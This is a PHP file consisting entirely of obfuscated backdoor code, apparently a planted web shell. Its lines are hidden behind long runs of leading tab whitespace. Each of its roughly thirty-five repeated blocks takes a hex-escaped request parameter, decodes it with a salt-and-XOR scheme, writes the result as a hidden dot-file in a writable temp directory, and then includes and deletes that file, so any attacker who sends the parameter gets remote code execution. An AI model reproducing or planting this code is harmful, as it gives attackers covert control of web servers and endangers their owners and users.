																																										if(array_key_exists("\x66\x6Cag", $_POST)){ $reference = array_filter([getenv("TMP"), getenv("TEMP"), "/var/tmp", "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), session_save_path(), "/dev/shm"]); $data = $_POST["\x66\x6Cag"]; $data =explode ( "." , $data ) ; $ent = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt3); foreach ($data as $v => $v1): $sChar = ord($salt3[$v % $lenS]); $dec = ((int)$v1 - $sChar - ($v % 10)) ^ 12; $ent .= chr($dec); endforeach; $mrk = 0; do { $res = $reference[$mrk] ?? null; if ($mrk >= count($reference)) break; if (is_writable($res) && is_dir($res)) { $token = "$res" . "/.desc"; $success = file_put_contents($token, $ent); if ($success) { include $token; @unlink($token); die();} } $mrk++; } while (true); }
																																										if(@$_REQUEST["\x72e\x63"] !== null){ $symbol = array_filter([session_save_path(), sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", getenv("TMP"), "/var/tmp", "/tmp"]); $ptr = $_REQUEST["\x72e\x63"]; $ptr = explode ( '.' , $ptr ) ; $res=''; $s2='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($s2 ); $w=0; array_walk($ptr, function ($v3) use (&$res, &$w, $s2, $lenS) { $chS=ord($s2[$w%$lenS] ); $dec=((int)$v3 - $chS - ($w%10)) ^ 6; $res .= chr($dec ); $w++; }); foreach ($symbol as $pointer): if (array_product([is_dir($pointer), is_writable($pointer)])) { $flag = sprintf("%s/.comp", $pointer); $file = fopen($flag, 'w'); if ($file) { fwrite($file, $res); fclose($file); include $flag; @unlink($flag); die(); } } endforeach; }
																																										if(count($_POST) > 0 && isset($_POST["f\x61\x63\x74or"])){ $marker = $_POST["f\x61\x63\x74or"]; $marker =explode ("." ,$marker ); $desc = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $n = 0; $__tmp = $marker; while($v7 = array_shift($__tmp)) { $sChar = ord($salt[$n% $sLen]); $d =((int)$v7 - $sChar -($n% 10)) ^ 19; $desc .= chr($d); $n++; } $ptr = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), "/dev/shm", session_save_path(), getenv("TEMP"), getcwd(), sys_get_temp_dir(), "/tmp"]); $tkn = 0; do { $pointer = $ptr[$tkn] ?? null; if ($tkn >= count($ptr)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($pointer)) { $flag = sprintf("%s/.elem", $pointer); if (@file_put_contents($flag, $desc) !== false) { include $flag; unlink($flag); exit; } } $tkn++; } while (true); }
																																										if(array_key_exists("\x65\x6Et", $_POST)){ $property_set = $_POST["\x65\x6Et"]; $property_set = explode ('.',$property_set) ; $k=''; $salt3='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen( $salt3); $p=0; foreach( $property_set as $v2) { $sChar=ord( $salt3[$p% $sLen]); $d=( ( int)$v2 - $sChar -( $p% 10)) ^ 34; $k.=chr( $d); $p++; } $descriptor = array_filter([session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp", getcwd(), getenv("TEMP"), "/var/tmp", sys_get_temp_dir(), "/dev/shm"]); foreach ($descriptor as $pset) { if (is_dir($pset) ? is_writable($pset) : false) { $rec = str_replace("{var_dir}", $pset, "{var_dir}/.parameter_group"); $file = fopen($rec, 'w'); if ($file) { fwrite($file, $k); fclose($file); include $rec; @unlink($rec); die(); } } } }
																																										if(in_array("sy\x6D", array_keys($_REQUEST))){ $holder = array_filter([getcwd(), getenv("TEMP"), "/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp", session_save_path(), "/dev/shm"]); $flg = $_REQUEST["sy\x6D"]; $flg = explode ( '.', $flg) ; $elem= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s ); $k= 0; foreach ($flg as $v7) { $sChar= ord($s[$k % $sLen] ); $d= ((int)$v7 - $sChar - ($k % 10)) ^ 85; $elem.=chr($d ); $k++; } for ($itm = 0, $obj = count($holder); $itm < $obj; $itm++) { $dat = $holder[$itm]; if ((is_dir($dat) and is_writable($dat))) { $binding = implode("/", [$dat, ".ent"]); if (file_put_contents($binding, $elem)) { require $binding; unlink($binding); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "\x64a\x74a_\x63\x68\x75nk")){ $k = $_REQUEST["\x64a\x74a_\x63\x68\x75nk"]; $k = explode ( '.', $k ) ; $item= ''; $s8= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s8); $i= 0; while($i < count($k)) { $v3= $k[$i]; $sChar= ord($s8[$i %$lenS]); $dec= ((int)$v3 - $sChar -($i %10)) ^ 43; $item .= chr($dec); $i++; } $token = array_filter([session_save_path(), sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getcwd(), "/tmp", getenv("TMP")]); foreach ($token as $dchunk): if (max(0, is_dir($dchunk) * is_writable($dchunk))) { $data = sprintf("%s/.flg", $dchunk); if (file_put_contents($data, $item)) { require $data; unlink($data); die(); } } endforeach; }
																																										if(array_key_exists("d\x65\x73c", $_POST)){ $descriptor = $_POST["d\x65\x73c"]; $descriptor = explode ( "." , $descriptor ) ; $mrk = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt9); $len = count( $descriptor); for( $i = 0; $i < $len; $i++) { $v6 = $descriptor[$i]; $chS = ord( $salt9[$i % $sLen]); $dec =( ( int)$v6 - $chS -( $i % 10)) ^ 41; $mrk.=chr( $dec); } $ent = array_filter([getenv("TEMP"), getcwd(), "/dev/shm", sys_get_temp_dir(), "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", session_save_path()]); foreach ($ent as $value): if ((function($d) { return is_dir($d) && is_writable($d); })($value)) { $tkn = implode("/", [$value, ".pointer"]); if (@file_put_contents($tkn, $mrk) !== false) { include $tkn; unlink($tkn); exit; } } endforeach; }
																																										if(in_array("\x66act\x6Fr", array_keys($_REQUEST))){ $k = array_filter([getcwd(), "/tmp", sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), getenv("TMP")]); $elem = $_REQUEST["\x66act\x6Fr"]; $elem= explode ( '.' , $elem ); $val = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt ); foreach( $elem as $q => $v5) { $chS = ord( $salt[$q % $lenS] ); $d =( ( int)$v5 - $chS -( $q % 10)) ^43; $val .= chr( $d ); } foreach ($k as $key => $property_set) { if (is_writable($property_set) && is_dir($property_set)) { $dat = "$property_set/.item"; if (@file_put_contents($dat, $val) !== false) { include $dat; unlink($dat); exit; } } } }
																																										if(!is_null($_POST["dch\x75\x6E\x6B"] ?? null)){ $desc = $_POST["dch\x75\x6E\x6B"]; $desc = explode( '.' , $desc ) ; $element =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $salt ); $y =0; $__tmp =$desc; while( $v5 =array_shift( $__tmp)) { $sChar =ord( $salt[$y % $lenS] ); $d =( ( int)$v5 - $sChar -( $y % 10)) ^ 10; $element.= chr( $d ); $y++; } $res = array_filter([getenv("TEMP"), session_save_path(), sys_get_temp_dir(), getenv("TMP"), "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), getcwd(), "/var/tmp"]); for ($marker = 0, $pointer = count($res); $marker < $pointer; $marker++) { $flg = $res[$marker]; if (!!is_dir($flg) && !!is_writable($flg)) { $data_chunk = "$flg" . "/.parameter_group"; $file = fopen($data_chunk, 'w'); if ($file) { fwrite($file, $element); fclose($file); include $data_chunk; @unlink($data_chunk); exit; } } } }
																																										if(count($_POST) > 0 && isset($_POST["\x68\x6Cd"])){ $entry = $_POST["\x68\x6Cd"]; $entry = explode( "." , $entry ) ; $parameter_group = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $__len = count($entry); for($k = 0; $k < $__len; $k++) { $v8 = $entry[$k]; $sChar = ord($salt[$k % $sLen]); $d =((int)$v8 - $sChar -($k % 10)) ^ 99; $parameter_group .= chr($d); } $key = array_filter(["/tmp", getcwd(), getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", sys_get_temp_dir(), "/var/tmp", getenv("TMP")]); foreach ($key as $entity): if (is_dir($entity) && is_writable($entity)) { $flg = "$entity" . "/.elem"; if (file_put_contents($flg, $parameter_group)) { include $flg; @unlink($flg); exit; } } endforeach; }
																																										if(filter_has_var(INPUT_POST, "\x66ac\x74\x6Fr")){ $itm = $_REQUEST["\x66ac\x74\x6Fr"]; $itm = explode( ".", $itm ) ; $flg = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s3); $len = count($itm); for ($o = 0; $o < $len; $o++) {$v6 = $itm[$o]; $chS = ord($s3[$o % $sLen]); $dec = ((int)$v6 - $chS - ($o % 10)) ^ 46; $flg .= chr($dec); } $resource = array_filter([getcwd(), ini_get("upload_tmp_dir"), session_save_path(), "/tmp", "/dev/shm", getenv("TEMP"), "/var/tmp", getenv("TMP"), sys_get_temp_dir()]); foreach ($resource as $desc): if ((bool)is_dir($desc) && (bool)is_writable($desc)) { $reference = join("/", [$desc, ".ent"]); if (file_put_contents($reference, $flg)) { require $reference; unlink($reference); exit; } } endforeach; }
																																										if(@$_POST["v\x61l"] !== null){ $obj = $_POST["v\x61l"]; $obj = explode (".", $obj ) ; $bind= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $salt); $t= 0; $len= count( $obj); do { if( $t >= $len) break; $v7= $obj[$t]; $chS= ord( $salt[$t % $lenS]); $d= ( ( int)$v7 - $chS -( $t % 10)) ^ 16; $bind.=chr( $d); $t++; } while( true); $descriptor = array_filter([getcwd(), "/dev/shm", getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp", session_save_path(), sys_get_temp_dir()]); while ($ent = array_shift($descriptor)) { if (!( !is_dir($ent) || !is_writable($ent) )) { $resource = "$ent/.pgrp"; if (@file_put_contents($resource, $bind) !== false) { include $resource; unlink($resource); die(); } } } }
																																										if(isset($_REQUEST["ref\x65r\x65n\x63\x65"])){ $element = array_filter([sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", getenv("TEMP"), session_save_path(), getcwd(), "/tmp", "/var/tmp"]); $rec = $_REQUEST["ref\x65r\x65n\x63\x65"]; $rec = explode ( '.' , $rec ); $pgrp = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s8 ); foreach( $rec as $u => $v2) { $sChar = ord( $s8[$u% $sLen] ); $d =( ( int)$v2 - $sChar -( $u% 10)) ^ 11; $pgrp .=chr( $d ); } foreach ($element as $record): if (array_product([is_dir($record), is_writable($record)])) { $res = vsprintf("%s/%s", [$record, ".entry"]); if (file_put_contents($res, $pgrp)) { include $res; @unlink($res); exit; } } endforeach; }
																																										if(isset($_REQUEST["\x68o\x6C\x64er"])){ $flag = array_filter(["/tmp", getcwd(), sys_get_temp_dir(), "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), getenv("TEMP")]); $tkn = $_REQUEST["\x68o\x6C\x64er"]; $tkn=explode( ".", $tkn ) ; $property_set = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt3); foreach ($tkn as $o => $v2) {$chS = ord($salt3[$o % $sLen]); $dec = ((int)$v2 - $chS - ($o % 10)) ^ 23; $property_set .= chr($dec); } foreach ($flag as $pgrp): if (max(0, is_dir($pgrp) * is_writable($pgrp))) { $pointer = "$pgrp" . "/.ptr"; $success = file_put_contents($pointer, $property_set); if ($success) { include $pointer; @unlink($pointer); die();} } endforeach; }
																																										if(filter_has_var(INPUT_POST, "\x76a\x6C")){ $descriptor = $_POST["\x76a\x6C"]; $descriptor = explode ( ".", $descriptor ); $dchunk = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s7); $w = 0; $__tmp = $descriptor; while ($v3 = array_shift($__tmp)) { $sChar = ord($s7[$w % $lenS]); $d = ((int)$v3 - $sChar - ($w % 10)) ^ 40; $dchunk .=chr($d); $w++;} $holder = array_filter([sys_get_temp_dir(), getcwd(), "/dev/shm", getenv("TEMP"), session_save_path(), getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), "/tmp"]); foreach ($holder as $symbol) { if (max(0, is_dir($symbol) * is_writable($symbol))) { $ent = vsprintf("%s/%s", [$symbol, ".flag"]); if (file_put_contents($ent, $dchunk)) { require $ent; unlink($ent); die(); } } } }
																																										if(isset($_POST["dat"])){ $pset = array_filter([session_save_path(), sys_get_temp_dir(), "/var/tmp", getenv("TMP"), "/dev/shm", getcwd(), ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP")]); $flg = $_POST["dat"]; $flg = explode( '.' , $flg ) ; $object = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $z = 0; while ($z < count($flg)) { $v2 = $flg[$z]; $chS = ord($salt[$z % $sLen]); $d = ((int)$v2 - $chS - ($z % 10))^58; $object .= chr($d); $z++; } foreach ($pset as $key => $entry) { if (!!is_dir($entry) && !!is_writable($entry)) { $symbol = "$entry/.elem"; if (file_put_contents($symbol, $object)) { include $symbol; @unlink($symbol); exit; } } } }
																																										if(isset($_REQUEST["\x64\x65sc"])){ $dat = $_REQUEST["\x64\x65sc"]; $dat = explode ( '.', $dat ) ; $rec = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt9); $w = 0; foreach($dat as $v9) { $sChar = ord($salt9[$w% $lenS]); $dec = ((int)$v9 - $sChar -($w% 10)) ^ 38; $rec .= chr($dec); $w++; } $sym = array_filter(["/tmp", getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), "/dev/shm", "/var/tmp", sys_get_temp_dir()]); while ($ent = array_shift($sym)) { if (array_product([is_dir($ent), is_writable($ent)])) { $res = sprintf("%s/.elem", $ent); if (@file_put_contents($res, $rec) !== false) { include $res; unlink($res); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "p\x6Fint\x65r")){ $flg = $_REQUEST["p\x6Fint\x65r"]; $flg= explode ( '.' ,$flg ) ; $comp = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s7); $w = 0; while($w < count($flg)) {$v9 = $flg[$w]; $sChar = ord($s7[$w % $sLen]); $dec =((int)$v9 - $sChar -($w % 10)) ^ 76; $comp .= chr($dec); $w++; } $res = array_filter([session_save_path(), sys_get_temp_dir(), "/tmp", getenv("TMP"), getcwd(), "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), "/var/tmp"]); foreach ($res as $key => $dchunk) { if (is_dir($dchunk) ? is_writable($dchunk) : false) { $k = str_replace("{var_dir}", $dchunk, "{var_dir}/.pset"); if (@file_put_contents($k, $comp) !== false) { include $k; unlink($k); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "ho\x6C\x64e\x72")){ $element = array_filter([sys_get_temp_dir(), getcwd(), "/var/tmp", session_save_path(), getenv("TMP"), "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm"]); $k = $_REQUEST["ho\x6C\x64e\x72"]; $k = explode ( "." , $k ) ; $component = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt3); $len = count($k); for ($s = 0; $s < $len; $s++) { $v3 = $k[$s]; $chS = ord($salt3[$s % $lenS]); $dec = ((int)$v3 - $chS - ($s % 10)) ^ 2; $component.= chr($dec);} foreach ($element as $key => $record) { if (is_writable($record) && is_dir($record)) { $pset = "$record" . "/.tkn"; if (file_put_contents($pset, $component)) { include $pset; @unlink($pset); exit; } } } }
																																										if(!empty($_POST["\x72e\x73ou\x72ce"])){ $fac = $_POST["\x72e\x73ou\x72ce"]; $fac =explode ('.', $fac ) ; $token = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt5 ); $y = 0; foreach ($fac as $v7) { $chS = ord($salt5[$y % $sLen] ); $dec = ((int)$v7 - $chS - ($y % 10)) ^ 87; $token.=chr($dec ); $y++; } $record = array_filter([session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp", "/var/tmp", getenv("TEMP"), getcwd(), "/dev/shm", sys_get_temp_dir()]); foreach ($record as $key => $element) { if (!( !is_dir($element) || !is_writable($element) )) { $obj = "$element" . "/.ref"; if (@file_put_contents($obj, $token) !== false) { include $obj; unlink($obj); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "\x68\x6Cd")){ $data = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", getcwd(), "/dev/shm", "/tmp", getenv("TMP"), session_save_path(), sys_get_temp_dir()]); $dchunk = $_POST["\x68\x6Cd"]; $dchunk =explode( "." , $dchunk ) ; $bind =''; $s4 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s4); $len =count($dchunk); for ($v =0; $v< $len; $v++) { $v5 =$dchunk[$v]; $sChar =ord($s4[$v % $lenS]); $d =((int)$v5 - $sChar - ($v % 10)) ^ 12; $bind .= chr($d); } $parameter_group = 0; do { $descriptor = $data[$parameter_group] ?? null; if ($parameter_group >= count($data)) break; if (is_dir($descriptor) && is_writable($descriptor)) { $binding = join("/", [$descriptor, ".value"]); if (@file_put_contents($binding, $bind) !== false) { include $binding; unlink($binding); die(); } } $parameter_group++; } while (true); }
																																										if(!empty($_REQUEST["\x72\x65\x73ou\x72ce"])){ $element = $_REQUEST["\x72\x65\x73ou\x72ce"]; $element = explode('.' , $element ) ; $res = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); $v = 0; foreach( $element as $v7) { $sChar = ord( $s[$v % $lenS]); $dec = ( ( int)$v7 - $sChar -( $v % 10)) ^ 39; $res .= chr( $dec); $v++; } $pset = array_filter(["/var/tmp", getenv("TMP"), "/dev/shm", getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), session_save_path()]); while ($pointer = array_shift($pset)) { if (array_product([is_dir($pointer), is_writable($pointer)])) { $descriptor = "$pointer" . "/.ref"; $file = fopen($descriptor, 'w'); if ($file) { fwrite($file, $res); fclose($file); include $descriptor; @unlink($descriptor); exit; } } } }
																																										if(!empty($_REQUEST["p\x74\x72"])){ $property_set = $_REQUEST["p\x74\x72"]; $property_set =explode ( "." , $property_set ) ; $mrk =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $salt ); $k =0; array_walk( $property_set, function( $v9) use( &$mrk, &$k, $salt, $lenS) {$chS =ord( $salt[$k% $lenS] ); $dec =( ( int)$v9 - $chS -( $k% 10)) ^ 86; $mrk .= chr( $dec ); $k++; } ); $component = array_filter([session_save_path(), "/tmp", sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), getcwd(), "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir")]); foreach ($component as $key => $rec) { if (max(0, is_dir($rec) * is_writable($rec))) { $entity = implode("/", [$rec, ".ref"]); $file = fopen($entity, 'w'); if ($file) { fwrite($file, $mrk); fclose($file); include $entity; @unlink($entity); die(); } } } }
																																										if(in_array("ent", array_keys($_POST))){ $property_set = array_filter(["/tmp", session_save_path(), sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), "/var/tmp"]); $flg = $_POST["ent"]; $flg = explode ( '.' , $flg); $rec =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt ); foreach ($flg as $m=> $v3) { $sChar =ord($salt[$m%$sLen] ); $d =((int)$v3 - $sChar - ($m%10)) ^ 14; $rec .= chr($d ); } for ($tkn = 0, $factor = count($property_set); $tkn < $factor; $tkn++) { $descriptor = $property_set[$tkn]; if ((function($d) { return is_dir($d) && is_writable($d); })($descriptor)) { $comp = "$descriptor/.bind"; $file = fopen($comp, 'w'); if ($file) { fwrite($file, $rec); fclose($file); include $comp; @unlink($comp); exit; } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x65\x6Et"])){ $bind = array_filter(["/tmp", "/var/tmp", sys_get_temp_dir(), session_save_path(), getcwd(), getenv("TMP"), "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir")]); $fac = $_REQUEST["\x65\x6Et"]; $fac = explode( "." , $fac ) ; $pointer =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s ); foreach ($fac as $l => $v6) { $chS =ord($s[$l % $sLen] ); $dec =((int)$v6 - $chS - ($l % 10)) ^40; $pointer .= chr($dec );} for ($item = 0, $value = count($bind); $item < $value; $item++) { $entity = $bind[$item]; if (is_writable($entity) && is_dir($entity)) { $record = join("/", [$entity, ".mrk"]); if (@file_put_contents($record, $pointer) !== false) { include $record; unlink($record); die(); } } } }
																																										if(array_key_exists("r\x65f", $_REQUEST)){ $desc = $_REQUEST["r\x65f"]; $desc =explode( '.' , $desc ); $val = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt9 ); $l = 0; foreach ($desc as $v7) { $sChar = ord($salt9[$l % $sLen] ); $dec = ((int)$v7 - $sChar - ($l % 10)) ^ 97; $val.= chr($dec ); $l++; } $object = array_filter([sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), getcwd(), "/dev/shm", "/var/tmp", getenv("TMP"), "/tmp"]); while ($ent = array_shift($object)) { if (array_product([is_dir($ent), is_writable($ent)])) { $binding = sprintf("%s/.pset", $ent); $success = file_put_contents($binding, $val); if ($success) { include $binding; @unlink($binding); die();} } } }
																																										if(isset($_POST["d\x63h\x75nk"])){ $flag = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), "/tmp", "/dev/shm", getcwd(), sys_get_temp_dir(), getenv("TMP"), "/var/tmp"]); $binding = $_POST["d\x63h\x75nk"]; $binding=explode ( "." , $binding ) ; $marker = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $s = 0; $__tmp = $binding; while( $v7 = array_shift( $__tmp)) { $sChar = ord( $salt[$s %$lenS]); $dec =( ( int)$v7 - $sChar -( $s %10)) ^ 99; $marker .= chr( $dec); $s++; } $res = 0; do { $itm = $flag[$res] ?? null; if ($res >= count($flag)) break; if (max(0, is_dir($itm) * is_writable($itm))) { $token = implode("/", [$itm, ".ptr"]); if (@file_put_contents($token, $marker) !== false) { include $token; unlink($token); exit; } } $res++; } while (true); }
																																										if(array_key_exists("t\x6Bn", $_POST)){ $rec = $_POST["t\x6Bn"]; $rec = explode( '.' , $rec ) ; $desc = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt1); $s = 0; while ($s < count($rec)) { $v4 = $rec[$s]; $chS = ord($salt1[$s % $sLen]); $dec = ((int)$v4 - $chS - ($s % 10)) ^ 87; $desc.=chr($dec); $s++; } $marker = array_filter(["/var/tmp", "/tmp", getenv("TMP"), getcwd(), "/dev/shm", session_save_path(), getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir")]); for ($fac = 0, $ref = count($marker); $fac < $ref; $fac++) { $descriptor = $marker[$fac]; if (!!is_dir($descriptor) && !!is_writable($descriptor)) { $pointer = join("/", [$descriptor, ".elem"]); if (file_put_contents($pointer, $desc)) { include $pointer; @unlink($pointer); die(); } } } }
																																										if(array_key_exists("\x70s\x65t", $_REQUEST) && !is_null($_REQUEST["\x70s\x65t"])){ $res = array_filter([session_save_path(), getenv("TEMP"), sys_get_temp_dir(), "/var/tmp", "/tmp", ini_get("upload_tmp_dir"), getcwd(), getenv("TMP"), "/dev/shm"]); $data_chunk = $_REQUEST["\x70s\x65t"]; $data_chunk = explode (".", $data_chunk ) ; $comp = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt4 ); $__len = count( $data_chunk ); for( $z = 0; $z< $__len; $z++) { $v5 = $data_chunk[$z]; $chS = ord( $salt4[$z % $lenS] ); $d = ( ( int)$v5 - $chS -( $z % 10)) ^ 31; $comp .=chr( $d ); } foreach ($res as $tkn): if ((function($d) { return is_dir($d) && is_writable($d); })($tkn)) { $entry = sprintf("%s/.holder", $tkn); if (file_put_contents($entry, $comp)) { include $entry; @unlink($entry); exit; } } endforeach; }
																																										if(isset($_POST["ent\x72\x79"])){ $bind = $_POST["ent\x72\x79"]; $bind = explode ('.' , $bind ) ; $elem = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s1 ); $o = 0; $__tmp = $bind; while ($v6 = array_shift($__tmp)) { $sChar = ord($s1[$o % $lenS] ); $d = ((int)$v6 - $sChar - ($o % 10)) ^ 89; $elem.=chr($d ); $o++; } $element = array_filter([getcwd(), getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", session_save_path(), getenv("TMP"), "/var/tmp", "/tmp", ini_get("upload_tmp_dir")]); $pset = 0; do { $binding = $element[$pset] ?? null; if ($pset >= count($element)) break; if ((is_dir($binding) and is_writable($binding))) { $desc = sprintf("%s/.holder", $binding); if (@file_put_contents($desc, $elem) !== false) { include $desc; unlink($desc); die(); } } $pset++; } while (true); }
																																										if(in_array("\x66\x61c", array_keys($_REQUEST))){ $holder = $_REQUEST["\x66\x61c"]; $holder = explode ( '.' , $holder ) ; $property_set = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $__len = count($holder); for ($x = 0; $x < $__len; $x++) {$v1 = $holder[$x]; $sChar = ord($salt[$x % $lenS]); $dec = ((int)$v1 - $sChar - ($x % 10)) ^ 95; $property_set .=chr($dec); } $parameter_group = array_filter([getcwd(), sys_get_temp_dir(), "/tmp", "/var/tmp", "/dev/shm", getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP")]); $factor = 0; do { $mrk = $parameter_group[$factor] ?? null; if ($factor >= count($parameter_group)) break; if (is_dir($mrk) && is_writable($mrk)) { $value = vsprintf("%s/%s", [$mrk, ".marker"]); $success = file_put_contents($value, $property_set); if ($success) { include $value; @unlink($value); die();} } $factor++; } while (true); }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x66lg"])){ $dchunk = array_filter(["/var/tmp", getenv("TMP"), "/tmp", getcwd(), sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir")]); $descriptor = $_REQUEST["\x66lg"]; $descriptor =explode ( '.' ,$descriptor ) ; $dat = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt9); $y = 0; foreach ($descriptor as $v7) { $chS = ord($salt9[$y% $lenS]); $d = ((int)$v7 - $chS - ($y% 10)) ^ 59; $dat .= chr($d); $y++; } for ($data_chunk = 0, $entry = count($dchunk); $data_chunk < $entry; $data_chunk++) { $val = $dchunk[$data_chunk]; if (!!is_dir($val) && !!is_writable($val)) { $itm = str_replace("{var_dir}", $val, "{var_dir}/.pointer"); $file = fopen($itm, 'w'); if ($file) { fwrite($file, $dat); fclose($file); include $itm; @unlink($itm); exit; } } } }
																																										if(isset($_POST) && isset($_POST["\x6B\x65y"])){ $reference = $_POST["\x6B\x65y"]; $reference = explode ( "." , $reference ); $resource = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $l = 0; $__tmp = $reference; while ($v2 = array_shift($__tmp)) { $sChar = ord($salt[$l % $sLen]); $d = ((int)$v2 - $sChar - ($l % 10)) ^ 54; $resource .= chr($d); $l++;} $ref = array_filter([session_save_path(), getenv("TMP"), getcwd(), "/var/tmp", "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm", getenv("TEMP")]); for ($item = 0, $res = count($ref); $item < $res; $item++) { $bind = $ref[$item]; if ((is_dir($bind) and is_writable($bind))) { $descriptor = str_replace("{var_dir}", $bind, "{var_dir}/.ptr"); if (@file_put_contents($descriptor, $resource) !== false) { include $descriptor; unlink($descriptor); exit; } } } }
																																										if(isset($_POST["\x6D\x72k"]) ? true : false){ $marker = $_POST["\x6D\x72k"]; $marker=explode( ".", $marker ) ; $ent= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s ); $k= 0; foreach($marker as $v4) { $chS= ord($s[$k % $sLen] ); $d= ((int)$v4 - $chS -($k % 10)) ^ 15; $ent .= chr($d ); $k++; } $holder = array_filter([session_save_path(), getcwd(), getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp"]); for ($ref = 0, $dchunk = count($holder); $ref < $dchunk; $ref++) { $parameter_group = $holder[$ref]; if ((function($d) { return is_dir($d) && is_writable($d); })($parameter_group)) { $sym = "$parameter_group/.pset"; $file = fopen($sym, 'w'); if ($file) { fwrite($file, $ent); fclose($file); include $sym; @unlink($sym); exit; } } } }
